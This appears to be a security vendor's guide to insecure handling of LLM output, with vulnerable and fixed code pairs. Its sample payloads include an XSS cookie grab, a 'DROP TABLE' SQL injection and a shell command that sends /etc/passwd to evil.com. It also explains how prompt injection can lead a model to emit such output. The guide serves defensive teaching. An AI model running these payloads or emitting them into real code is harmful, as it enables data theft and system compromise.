LLM02: Insecure Output Handling

Verified by Precogs Threat Research

Insecure output handling occurs when an application trusts LLM-generated content without validation or sanitization. Since LLMs can produce arbitrary text, treating their output as trusted input enables XSS, SQL injection, command injection, and SSRF — particularly dangerous when LLM output is rendered in a browser, executed as code, or passed to downstream APIs.

Why LLM Output Is Untrusted

LLMs are stochastic text generators. They can produce any text — including JavaScript, SQL, shell commands, and HTML. When an application renders LLM output without escaping, it creates the same vulnerabilities as rendering unsanitized user input. This is especially dangerous because developers often assume LLM output is "safe" since it comes from their own API — but prompt injection can cause the LLM to generate malicious output.

Common Vulnerable Patterns

The most dangerous patterns include: (1) Rendering LLM output as innerHTML in web applications, enabling XSS. (2) Using LLM-generated SQL in database queries without parameterization. (3) Passing LLM output to eval() or exec() functions. (4) Using LLM output in shell commands via child_process or os.system(). (5) Including LLM output in HTTP redirects or fetch() URLs, enabling SSRF.

AI Code Assistant Risk

AI code assistants generate code that developers often run without review. If a prompt-injected model generates code containing eval(user_input), document.innerHTML = data, or os.system(f"find {path}"), these are insecure outputs that become production vulnerabilities. The assistant itself is the source of insecure output.

⚔️ Attack Examples & Code Patterns

XSS via LLM output rendered as HTML

LLM response containing script tags rendered directly in the browser:

// ❌ VULNERABLE — LLM output rendered as HTML
const response = await openai.chat.completions.create({
  messages: [{ role: "user", content: userQuery }]
});
document.getElementById("answer").innerHTML = response.choices[0].message.content;

// Attack: LLM output contains <img src=x onerror=alert(document.cookie)>

// ✅ SAFE — sanitize before rendering
import DOMPurify from 'dompurify';
document.getElementById("answer").innerHTML =
  DOMPurify.sanitize(response.choices[0].message.content);

SQL injection via LLM-generated query

Using LLM to generate SQL queries and executing them directly:

# ❌ VULNERABLE — LLM output used as raw SQL
user_request = "Show me all users from New York"
sql = llm.generate(f"Convert to SQL: {user_request}")
# sql = "SELECT * FROM users WHERE city='New York'; DROP TABLE users;--"
cursor.execute(sql)

# ✅ SAFE — validate and use parameterized queries
import sqlparse
parsed = sqlparse.parse(sql)
if len(parsed) != 1 or parsed[0].get_type() != 'SELECT':
    raise ValueError("Only SELECT queries allowed")
cursor.execute(sql)  # Still better to use parameterized approach

Command injection via LLM-generated shell command

AI agent executing shell commands from LLM output:

# ❌ VULNERABLE — LLM output executed as shell command
import subprocess
action = agent.decide_action(user_request)
# action = "ls /tmp && curl http://evil.com/steal?data=$(cat /etc/passwd)"
subprocess.run(action, shell=True)

# ✅ SAFE — allowlist commands, no shell=True
ALLOWED_COMMANDS = {"ls", "cat", "grep"}
parts = shlex.split(action)
if parts[0] not in ALLOWED_COMMANDS:
    raise ValueError(f"Command {parts[0]} not allowed")
subprocess.run(parts, shell=False)

🔍 Detection Checklist

  • Map every point where LLM output is rendered, executed, or forwarded
  • Check for innerHTML, dangerouslySetInnerHTML, v-html usage with LLM data
  • Verify database queries using LLM output use parameterized statements
  • Ensure no eval(), exec(), os.system() calls use LLM-generated strings
  • Validate LLM output format before processing (JSON schema, regex patterns)

🛡️ Mitigation Strategy

Treat ALL LLM output as untrusted user input. Apply the same sanitization, encoding, and validation you would apply to any external input. Use parameterized queries for database operations, escape HTML output, and never execute LLM-generated strings as code without sandboxing.

🛡️

How Precogs AI Protects You

Precogs AI statically analyzes your LLM integration code to find every point where model output flows into dangerous sinks — innerHTML, eval(), SQL queries, shell commands, or API calls. AutoFix PRs add proper sanitization at each sink.

Start Free Scan

What is insecure LLM output handling and why is it dangerous?

Insecure output handling means trusting LLM responses without sanitization. Since LLMs can generate arbitrary text (including malicious code), their output must be treated like untrusted user input. Without proper encoding, XSS, SQL injection, and command injection become possible through LLM responses.

Protect Against LLM02: Insecure Output Handling

Precogs AI automatically detects llm02: insecure output handling vulnerabilities and generates AutoFix PRs.